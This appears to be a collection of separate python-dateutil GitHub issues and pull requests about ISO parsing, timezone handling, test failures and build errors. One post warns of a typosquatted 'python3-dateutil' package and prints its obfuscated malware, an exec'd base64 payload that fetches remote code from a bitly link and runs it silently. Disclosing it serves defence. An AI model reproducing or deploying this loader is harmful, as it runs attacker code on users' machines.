Here's a first pass at a dedicated iso parser per #424.

This involves a reorganization of the code for parser into its own little submodule, to avoid the explosion of parser.py. I think there will likely be some problems for downstream users who are using private interfaces, but I'm not too worried about that.

I've got a rough sketch for a Cython version of this that is ~20x faster, but it seems like even this pure-python version beats a datetime.strptime call:

In [1]: from dateutil.parser import isoparse
   ...: from datetime import datetime
   ...: 
   ...: dt = '2014-02-28T14:25:03.446990'
   ...: 

In [2]: %timeit isoparse(dt)
10000 loops, best of 3: 20.7 µs per loop

In [3]: %timeit datetime.strptime(dt, '%Y-%m-%dT%H:%M:%S.%f')
The slowest run took 142.82 times longer than the fastest. This could mean that an intermediate result is being cached.
10000 loops, best of 3: 34 µs per loop

I may have gone a bit overboard with the test parametrization. More tests need to be added as well - I'm not, for example, testing any failure conditions.

Remaining items to do:

• [x] Explicitly convert to ASCII bytestring (there is no unicode in valid ISO-8601, and this assumption will make the Cython implementation faster)
• [x] Add tests for the parse_isodate and parse_isotime functions.
• [x] Decide what to do about the mix of classmethods and methods.

Deferred:

• Clean up documentation so that the primary interface is more explicitly isoparse.

Ping @jbrockmendel @wagner-certat @mariocj89

It would seem to be an issue related to dayfirst options in ISOFORMAT date. This is an unambiguous date, so i expect does not come into play the "dayfirst" option.

Version 2.4.2

In [1]: parser.parse('1995-02-03') Out[1]: datetime.datetime(1995, 2, 3, 0, 0)

In [2]: parser.parse('1995-02-03', dayfirst=True) Out[2]: datetime.datetime(1995, 2, 3, 0, 0)

Version 2.5.3

In [1]: parser.parse('1995-02-03') Out[1]: datetime.datetime(1995, 2, 3, 0, 0)

In [2]: parser.parse('1995-02-03', dayfirst=True) Out[2]: datetime.datetime(1995, 3, 2, 0, 0)

Thanks in advance Glauco

dateutil/tz.py never uses tzwin.py since tzwin.py fails to import with the following exception:

Traceback (most recent call last):
  File "dateutil/tzwin.py", line 7, in <module>
    from .tz import tzname_in_python2
ValueError: Attempted relative import in non-package

Just a quick heads-up: There is a fake version of this package called python3-dateutil on PyPI that contains additional imports of the jeIlyfish package (itself a fake version of the jellyfish package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

import zlib
import base64

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

which deobfuscates to

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen 
 exec(zlib.decompress(base64.b16decode(re.sub(
  r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it's only been up for two days.

Running into the following test failure while QA'ing dateutil 2.8.0 to update the FreeBSD port:

tzvar = 'GMT', tzoff = tzoffset(u'GMT', 0)

    @mark_tzlocal_nix
    @pytest.mark.parametrize('tzvar, tzoff', [
        ('EST5', tz.tzoffset('EST', -18000)),
        ('GMT', tz.tzoffset('GMT', 0)),
        ('YAKT-9', tz.tzoffset('YAKT', timedelta(hours=9))),
        ('JST-9', tz.tzoffset('JST', timedelta(hours=9))),
    ])
    def test_tzlocal_offset_equal(tzvar, tzoff):
        with TZEnvContext(tzvar):
            # Including both to test both __eq__ and __ne__
>           assert tz.tzlocal() == tzoff
E           AssertionError: assert tzlocal() == tzoffset(u'GMT', 0)
E             -tzlocal()
E             +tzoffset(u'GMT', 0)

dateutil/test/test_tz.py:1008: AssertionError

System/test environment is:

platform freebsd13 -- Python 2.7.16, pytest-4.5.0, py-1.8.0, pluggy-0.11.0 -- /usr/local/bin/python2.7
plugins: xdist-1.28.0, mock-1.10.4, forked-1.0.2, cov-2.7.1, hypothesis-4.23.6

System timezone is Australia/Sydney:

# tail -n 1 /etc/localtime
AEST-10AEDT,M10.1.0,M4.1.0/3

I've tried setting TZ=UTC and TZ=other-non-utc-timezones environment variables without affect.

This pr fixes #259. As discussed with @pganssle in the dateutil sprint in London, the fix consist in modifiying dateutil.parser._parser._tzparser.parse to check if all tokens generated from the input string have been consumed (except separators that are assumed to be "," and ":" as specified here). To have some control (and help future debugging) on the tokens that are not used, a mark of used_tokens is used internally to keep track of this. To avoid making the parser raise and therefore modifiying the current behaviour, a new slotted field was added to dateutil.parser._parser._tzparser._result that indicates if all tokens have been consumed or not. This is used in dateutil.tz.tz.tzstr to raise accordingly in the case that this check fails (so not all tokens have been consumed`.

8 test of the test suite for tz.tz.tzstr were failing because they were using invalid strings and now the call to tz.tz.tzstr raises. These test were using "default" arguments, that were intented to use the default values that the parser, tzstr and tzrange constructs. To fix these test, the input string has been changed for a GNUtz-compatible equivalent.

Migrated from launchpad issue #1390262:

Quoting Yupeng on 2014-11-07:

[email protected]:~# date
Sun Nov 2 01:43:42 PDT 2014
[email protected]:~# python
Python 2.7.3 (default, Apr 10 2013, 06:20:15)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from datetime import *
>>> from dateutil.tz import *
>>> datetime.now(tzlocal()).tzname()
'PST'

Current incorrect behavior:

>>> parser.parse('2017-12-05 08:38 EST')
datetime.datetime(2017, 12, 5, 8, 38)

This PR raises instead of silently dropping this timezone information.

This surfaces two test failures that look like false-positives slipped through and got assigned to res.tzname. Thats the "WIP" part of the PR.

___________________________________________ ParserTest.testFuzzyIgnoreAMPM ___________________________________________
[...]
timestr = 'Jan 29, 1945 14:45 AM I going to see you there?'
res = _result(year=1945, month=1, day=29, hour=14, minute=45, tzname=u'I')

___________________________________________ ParserTest.testRandomFormat26 ____________________________________________
[...]
timestr = '5:50 A.M. on June 13, 1990'
_result(year=1990, month=6, day=13, hour=5, minute=50, tzname=u'M', ampm=0)

The following tests fail when testing with source obtained from GitHub. The timezone file is present, but the tests do not find/see them.

Beyond identifying the root cause of this issue, th tests should skip, not fail if the tarball cannot be found.

1. ~~Include the timezone file as a data file for the tests to use~~ (Edit: timezone file is present)

======================================================================
FAIL: testZoneInfoFileEnd1 (dateutil.test.test_tz.TZTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 310, in testZoneInfoFileEnd1
    "EDT", MISSING_TARBALL)
AssertionError: None != u'EDT' : This test fails if you don't have the dateutil timezone file installed. Please read the README

======================================================================
FAIL: testZoneInfoFileStart1 (dateutil.test.test_tz.TZTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 304, in testZoneInfoFileStart1
    MISSING_TARBALL)
AssertionError: None != u'EST' : This test fails if you don't have the dateutil timezone file installed. Please read the README

======================================================================
FAIL: testZoneInfoOffsetSignal (dateutil.test.test_tz.TZTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 317, in testZoneInfoOffsetSignal
    self.assertNotEqual(utc, None, MISSING_TARBALL)
AssertionError: None == None : This test fails if you don't have the dateutil timezone file installed. Please read the README

So we don't want to hard-code tzinfos, but I claim that the following or something like it would be a Sensible Default for tzinfos (at least for US users)

tzinfos_us = {
    'PST': dateutil.tz.gettz('US/Pacific'),
    'PDT': dateutil.tz.gettz('US/Pacific'),
    'PT': dateutil.tz.gettz('US/Pacific'),
    'MST': dateutil.tz.gettz('US/Mountain'),
    'MDT': dateutil.tz.gettz('US/Mountain'),
    'MT': dateutil.tz.gettz('US/Mountain'),
    'CST': dateutil.tz.gettz('US/Central'),
    'CDT': dateutil.tz.gettz('US/Central'),
    'CT': dateutil.tz.gettz('US/Central'),
    'EST': dateutil.tz.gettz('US/Eastern'),
    'EDT': dateutil.tz.gettz('US/Eastern'),
    'ET': dateutil.tz.gettz('US/Eastern')}

There are others that are pretty close to unambiguous: BRST, CEST, ... If this would make it easier for a large fraction of users to Do It Right, then we should consider providing a shortcut to something like this.

This PR covers a few enhancements to the tz module.

I did some light refactoring of tzfile implementation as I was going over it, and I also realized that we were using some monstrously inefficient search in a frequently called method - basically, when trying to pinpoint which two transitions we're currently between, we were doing a linear search of all transition times, when we should have been using the binary search provided by the bisect method.

Additionally, I've implemented a method for handling ambiguous datetimes, as discussed in #112. The use of stateful tzinfo files is not ideal, but as far as I can tell this is the best way to actually handle ambiguous dates. This does nothing to address non-existent dates, but I think that is somewhat less of a problem for the moment.

As I was refactoring tzfile, I also addressed the odd edge case (#128) where a DST transition and a change in the base offset occur at the same time, cancelling one another out. We don't actually have enough information in the compiled binaries to address this the right way, but I've at least added the heuristic that if a zone is marked DST but it has zero time difference with its most recent standard time, infer the DST status from the next standard time instead. I also changed it so that these DST offsets are cached in the tzfile, not calculated on the fly.

dateStr2 = '4 May 2022 14:00:00 US/Eastern' dateTime = dateutil.parser.parse(dateStr2, tzinfos=tzinfos)

ParserError Traceback (most recent call last) Cell In [68], line 1 ----> 1 dateTime = dateutil.parser.parse(dateStr2, tzinfos=tzinfos) 2 dateTime.isoformat()

File ~\AppData\Local\Programs\Python\Python310\lib\site-packages\dateutil\parser_parser.py:1368, in parse(timestr, parserinfo, **kwargs) 1366 return parser(parserinfo).parse(timestr, **kwargs) 1367 else: -> 1368 return DEFAULTPARSER.parse(timestr, **kwargs)

File ~\AppData\Local\Programs\Python\Python310\lib\site-packages\dateutil\parser_parser.py:643, in parser.parse(self, timestr, default, ignoretz, tzinfos, **kwargs) 640 res, skipped_tokens = self._parse(timestr, **kwargs) 642 if res is None: --> 643 raise ParserError("Unknown string format: %s", timestr) 645 if len(res) == 0: 646 raise ParserError("String does not contain a date: %s", timestr)

ParserError: Unknown string format: 4 May 2022 14:00:00 US/Eastern

when i run test, it failed some test.

This seems to be hypothesis' mistake.

compatibility question?

[   74s] + /usr/bin/python3 -m pytest
[   75s] ============================= test session starts ==============================
[   75s] platform linux -- Python 3.7.9, pytest-3.6.4, py-1.5.4, pluggy-0.6.0
[   75s] rootdir: /home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1, inifile: setup.cfg
[   75s] plugins: hypothesis-3.66.11
[   76s] collected 2076 items
[   76s] 
[   76s] dateutil/test/test_easter.py ........................................... [  2%]
[   76s] ........................................................................ [  5%]
[   76s] ................................................                         [  7%]
[   76s] dateutil/test/test_import_star.py .                                      [  7%]
[   76s] dateutil/test/test_imports.py .................sss...                    [  9%]
[   76s] dateutil/test/test_internals.py ....                                     [  9%]
[   76s] dateutil/test/test_isoparser.py ........................................ [ 11%]
[   76s] ........................................................................ [ 14%]
[   76s] ........................................................................ [ 18%]
[   76s] ........................................................................ [ 21%]
[   77s] ........................................................................ [ 25%]
[   77s] .......x...x............................................................ [ 28%]
[   77s] ........................................................................ [ 31%]
[   77s] ........................................................................ [ 35%]
[   77s] .....................xx                                                  [ 36%]
[   77s] dateutil/test/test_parser.py ........................................... [ 38%]
[   77s] ........................................................................ [ 42%]
[   77s] ........................................................................ [ 45%]
[   79s] .................................xxxxxxxxxxxxx.........                  [ 48%]
[   79s] dateutil/test/test_relativedelta.py .................................... [ 49%]
[   79s] .............................................                            [ 52%]
[   79s] dateutil/test/test_rrule.py ............................................ [ 54%]
[   79s] ........................................................................ [ 57%]
[   79s] ........................................................................ [ 61%]
[   80s] ........................................................................ [ 64%]
[   80s] ........................................................................ [ 68%]
[   80s] ........................................................................ [ 71%]
[   80s] ........................................................................ [ 75%]
[   81s] ................................................................x....... [ 78%]
[   81s] ..............                                                           [ 79%]
[   81s] dateutil/test/test_tz.py ............................s...............s.. [ 81%]
[   81s] ...........................................s............................ [ 84%]
[   82s] .x.....s......................................s......................... [ 88%]
[   82s] ..s..................................................................... [ 91%]
[   82s] ............s......................................s.sssssssssssssssssss [ 95%]
[   83s] sssssssssssssss....s..........s......................................... [ 98%]
[   83s] ...............                                                          [ 99%]
[   83s] dateutil/test/test_utils.py .......                                      [ 99%]
[   84s] dateutil/test/property/test_isoparse_prop.py F                           [ 99%]
[   84s] dateutil/test/property/test_parser_prop.py FF                            [ 99%]
[   84s] docs/exercises/solutions/mlk_day_rrule_solution.py .                     [100%]
[   84s] 
[   84s] =================================== FAILURES ===================================
[   84s] ______________________________ test_timespec_auto ______________________________
[   84s] 
[   84s]     @pytest.mark.isoparser
[   84s] >   @given(dt=st.datetimes(timezones=TIME_ZONE_STRATEGY), sep=ASCII_STRATEGY)
[   84s]     def test_timespec_auto(dt, sep):
[   84s] 
[   84s] dateutil/test/property/test_isoparse_prop.py:17: 
[   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
[   84s] 
[   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd415183d0>
[   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
[   84s] search_strategy = tuples(just(()), fixed_dictionaries({'dt': datetimes(timezones=sampled_from([None,
[   84s]   tzutc(),
[   84s]   tzfile('/usr/share/zon.../usr/share/zoneinfo/Europe/London')])),
[   84s]  'sep': characters(max_codepoint=127)}).map(lambda args: dict(args, **kwargs)))
[   84s] test = <function test_timespec_auto at 0xfffd42ae4d40>
[   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
[   84s] random = <random.Random object at 0xaaac781325a0>, had_seed = None
[   84s] 
[   84s]     def __init__(
[   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
[   84s]     ):
[   84s]         self.test_runner = test_runner
[   84s]         self.search_strategy = search_strategy
[   84s]         self.settings = settings
[   84s]         self.last_exception = None
[   84s]         self.falsifying_examples = ()
[   84s]         self.__was_flaky = False
[   84s]         self.random = random
[   84s]         self.__warned_deadline = False
[   84s]         self.__existing_collector = None
[   84s]         self.__test_runtime = None
[   84s]         self.__had_seed = had_seed
[   84s]     
[   84s]         self.test = test
[   84s]     
[   84s]         self.coverage_data = CoverageData()
[   84s]         self.files_to_propagate = set()
[   84s]         self.failed_normally = False
[   84s]     
[   84s]         self.used_examples_from_database = False
[   84s]     
[   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
[   84s]             if Collector._collectors:
[   84s]                 parent = Collector._collectors[-1]
[   84s]     
[   84s]                 # We include any files the collector has already decided to
[   84s]                 # trace whether or not on re-investigation we still think it
[   84s]                 # wants to trace them. The reason for this is that in some
[   84s]                 # cases coverage gets the wrong answer when we run it
[   84s]                 # ourselves due to reasons that are our fault but are hard to
[   84s]                 # fix (we lie about where certain functions come from).
[   84s]                 # This causes us to not record the actual test bodies as
[   84s]                 # covered. But if we intended to trace test bodies then the
[   84s]                 # file must already have been traced when getting to this point
[   84s]                 # and so will already be in the collector's data. Hence we can
[   84s]                 # use that information to get the correct answer here.
[   84s]                 # See issue 997 for more context.
[   84s]                 self.files_to_propagate = set(parent.data)
[   84s]                 self.hijack_collector(parent)
[   84s]     
[   84s]             self.collector = Collector(
[   84s]                 branch=True,
[   84s]                 timid=FORCE_PURE_TRACER,
[   84s]                 should_trace=self.should_trace,
[   84s]                 check_include=hypothesis_check_include,
[   84s]                 concurrency='thread',
[   84s] >               warn=escalate_warning,
[   84s]             )
[   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
[   84s] 
[   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
[   84s] _______________________________ test_convertyear _______________________________
[   84s] 
[   84s]     @pytest.mark.parserinfo
[   84s] >   @given(integers(min_value=100, max_value=9999))
[   84s]     def test_convertyear(n):
[   84s] 
[   84s] dateutil/test/property/test_parser_prop.py:10: 
[   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
[   84s] 
[   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd4137c390>
[   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
[   84s] search_strategy = tuples(just(()), fixed_dictionaries({'n': integers(min_value=100, max_value=9999)}).map(lambda args: dict(args, **kwargs)))
[   84s] test = <function test_convertyear at 0xfffd42aeb560>
[   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
[   84s] random = <random.Random object at 0xaaac780ee5b0>, had_seed = None
[   84s] 
[   84s]     def __init__(
[   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
[   84s]     ):
[   84s]         self.test_runner = test_runner
[   84s]         self.search_strategy = search_strategy
[   84s]         self.settings = settings
[   84s]         self.last_exception = None
[   84s]         self.falsifying_examples = ()
[   84s]         self.__was_flaky = False
[   84s]         self.random = random
[   84s]         self.__warned_deadline = False
[   84s]         self.__existing_collector = None
[   84s]         self.__test_runtime = None
[   84s]         self.__had_seed = had_seed
[   84s]     
[   84s]         self.test = test
[   84s]     
[   84s]         self.coverage_data = CoverageData()
[   84s]         self.files_to_propagate = set()
[   84s]         self.failed_normally = False
[   84s]     
[   84s]         self.used_examples_from_database = False
[   84s]     
[   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
[   84s]             if Collector._collectors:
[   84s]                 parent = Collector._collectors[-1]
[   84s]     
[   84s]                 # We include any files the collector has already decided to
[   84s]                 # trace whether or not on re-investigation we still think it
[   84s]                 # wants to trace them. The reason for this is that in some
[   84s]                 # cases coverage gets the wrong answer when we run it
[   84s]                 # ourselves due to reasons that are our fault but are hard to
[   84s]                 # fix (we lie about where certain functions come from).
[   84s]                 # This causes us to not record the actual test bodies as
[   84s]                 # covered. But if we intended to trace test bodies then the
[   84s]                 # file must already have been traced when getting to this point
[   84s]                 # and so will already be in the collector's data. Hence we can
[   84s]                 # use that information to get the correct answer here.
[   84s]                 # See issue 997 for more context.
[   84s]                 self.files_to_propagate = set(parent.data)
[   84s]                 self.hijack_collector(parent)
[   84s]     
[   84s]             self.collector = Collector(
[   84s]                 branch=True,
[   84s]                 timid=FORCE_PURE_TRACER,
[   84s]                 should_trace=self.should_trace,
[   84s]                 check_include=hypothesis_check_include,
[   84s]                 concurrency='thread',
[   84s] >               warn=escalate_warning,
[   84s]             )
[   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
[   84s] 
[   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
[   84s] ____________________ test_convertyear_no_specified_century _____________________
[   84s] 
[   84s]     @pytest.mark.parserinfo
[   84s] >   @given(integers(min_value=-50,
[   84s]                     max_value=49))
[   84s]     def test_convertyear_no_specified_century(n):
[   84s] 
[   84s] dateutil/test/property/test_parser_prop.py:16: 
[   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
[   84s] 
[   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd415ea790>
[   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
[   84s] search_strategy = tuples(just(()), fixed_dictionaries({'n': integers(min_value=-50, max_value=49)}).map(lambda args: dict(args, **kwargs)))
[   84s] test = <function test_convertyear_no_specified_century at 0xfffd42aeba70>
[   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
[   84s] random = <random.Random object at 0xaaac780c7260>, had_seed = None
[   84s] 
[   84s]     def __init__(
[   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
[   84s]     ):
[   84s]         self.test_runner = test_runner
[   84s]         self.search_strategy = search_strategy
[   84s]         self.settings = settings
[   84s]         self.last_exception = None
[   84s]         self.falsifying_examples = ()
[   84s]         self.__was_flaky = False
[   84s]         self.random = random
[   84s]         self.__warned_deadline = False
[   84s]         self.__existing_collector = None
[   84s]         self.__test_runtime = None
[   84s]         self.__had_seed = had_seed
[   84s]     
[   84s]         self.test = test
[   84s]     
[   84s]         self.coverage_data = CoverageData()
[   84s]         self.files_to_propagate = set()
[   84s]         self.failed_normally = False
[   84s]     
[   84s]         self.used_examples_from_database = False
[   84s]     
[   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
[   84s]             if Collector._collectors:
[   84s]                 parent = Collector._collectors[-1]
[   84s]     
[   84s]                 # We include any files the collector has already decided to
[   84s]                 # trace whether or not on re-investigation we still think it
[   84s]                 # wants to trace them. The reason for this is that in some
[   84s]                 # cases coverage gets the wrong answer when we run it
[   84s]                 # ourselves due to reasons that are our fault but are hard to
[   84s]                 # fix (we lie about where certain functions come from).
[   84s]                 # This causes us to not record the actual test bodies as
[   84s]                 # covered. But if we intended to trace test bodies then the
[   84s]                 # file must already have been traced when getting to this point
[   84s]                 # and so will already be in the collector's data. Hence we can
[   84s]                 # use that information to get the correct answer here.
[   84s]                 # See issue 997 for more context.
[   84s]                 self.files_to_propagate = set(parent.data)
[   84s]                 self.hijack_collector(parent)
[   84s]     
[   84s]             self.collector = Collector(
[   84s]                 branch=True,
[   84s]                 timid=FORCE_PURE_TRACER,
[   84s]                 should_trace=self.should_trace,
[   84s]                 check_include=hypothesis_check_include,
[   84s]                 concurrency='thread',
[   84s] >               warn=escalate_warning,
[   84s]             )
[   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
[   84s] 
[   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
[   84s] ======== 3 failed, 2007 passed, 47 skipped, 19 xfailed in 9.36 seconds =========
[   84s] error: Bad exit status from /var/tmp/rpm-tmp.ZZAKMf (%check)
[   84s] 
[   84s] 
[   84s] RPM build errors:
[   84s]     Bad exit status from /var/tmp/rpm-tmp.ZZAKMf (%check)
[   84s] + '[' 1 -ne 0 ']'
[   84s] + exit 1
[   84s] 
[   84s] armbuild192b168b175b2 failed "build python-dateutil.spec" at Wed Dec 14 06:12:05 UTC 2022.
[   84s] 

What is happening

For context, some timezones are named with a single letter (A,B,C,D,..,Z) (cf. https://www.timeanddate.com/time/zones/a or https://www.timeanddate.com/time/zones/p) The parser generally recognizes them correctly as timezones:

In [1]: from dateutil import parser
In [2]: date = parser.parse("Thu Jun 02 11:56:53 B 2011", tzinfos={"B": 2*3600})
In [3]: date
Out[3]: datetime.datetime(2011, 6, 2, 11, 56, 53)
In [4]: date.isoformat()
Out[4]: '2011-06-02T11:56:53+02:00'

However, it seems that timezones A and P are recognized as aliases for AM and PM:

In [3]: parser.parse("Thu Jun 02 12:56:53 A 2011", tzinfos={"A": 3600}).isoformat() # Noon in UTC+1
Out[3]: '2011-06-02T00:56:53' # Midnight in UTC

In [4]: parser.parse("Thu Jun 02 12:56:53 P 2011", tzinfos={"P": -3*3600}).isoformat()
Out[4]: '2011-06-02T12:56:53'

This means that date using 24 hour format in these timezones are broken :

In [5]: parser.parse("Thu Jun 02 13:56:53 A 2011")
---------------------------------------------------------------------------
ParserError                               Traceback (most recent call last)
Cell In[5], line 1
----> 1 parser.parse("Thu Jun 02 13:56:53 A 2011")

File ~/.virtualenvs/tmp-9cee89e9c581522/lib/python3.10/site-packages/dateutil/parser/_parser.py:1368, in parse(timestr, parserinfo, **kwargs)
   1366     return parser(parserinfo).parse(timestr, **kwargs)
   1367 else:
-> 1368     return DEFAULTPARSER.parse(timestr, **kwargs)

File ~/.virtualenvs/tmp-9cee89e9c581522/lib/python3.10/site-packages/dateutil/parser/_parser.py:643, in parser.parse(self, timestr, default, ignoretz, tzinfos, **kwargs)
    640 res, skipped_tokens = self._parse(timestr, **kwargs)
    642 if res is None:
--> 643     raise ParserError("Unknown string format: %s", timestr)
    645 if len(res) == 0:
    646     raise ParserError("String does not contain a date: %s", timestr)

ParserError: Unknown string format: Thu Jun 02 13:56:53 A 2011

What is the result

Dates expressed in A and P timezones are not parsed correctly and can even raise exceptions

What is expected

Dates expressed in A and P timezones are parsed correctly and, if tzinfo is supplied, are offseted correctly

Summary of changes

Add a parameter "disable_durations" to disable parsing components e.g. "2m1" as parts of datetimes.

Pull Request Checklist

• [x] Changes have tests
• [x] Authors have been added to AUTHORS.md
• [ ] News fragment added in changelog.d. See CONTRIBUTING.md for details

I am getting some weird compile errors when I try to include dateutil package in my python build. This is Yocto (Sumo) build from meta-openembedded on an Ubuntu 16.04.07 LTS build environment. Says syntax errors. If I remove just the dateutil package it completes the build fine with all the other python and python3 packages. It fails the same in both builds (python and python3). I have tried 2.7.1, 2.7.5, and 2.8.2 all with the same failure.

Any suggestions would be appreciated.

Initialising tasks: 100% |#########################################################################################################################################| Time: 0:00:04 NOTE: Executing SetScene Tasks NOTE: Executing RunQueue Tasks ERROR: python-dateutil-2.7.2-r0 do_compile: python setup.py build execution failed. ERROR: python-dateutil-2.7.2-r0 do_compile: Function failed: do_compile (log file is located at /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322) ERROR: Logfile of failure stored in: /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322 Log data follows: | DEBUG: Executing shell function do_compile | Traceback (most recent call last): | File "setup.py", line 86, in | "test": Unsupported | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/init.py", line 128, in setup | _install_setup_requires(attrs) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/init.py", line 123, in _install_setup_requires | dist.fetch_build_eggs(dist.setup_requires) | File 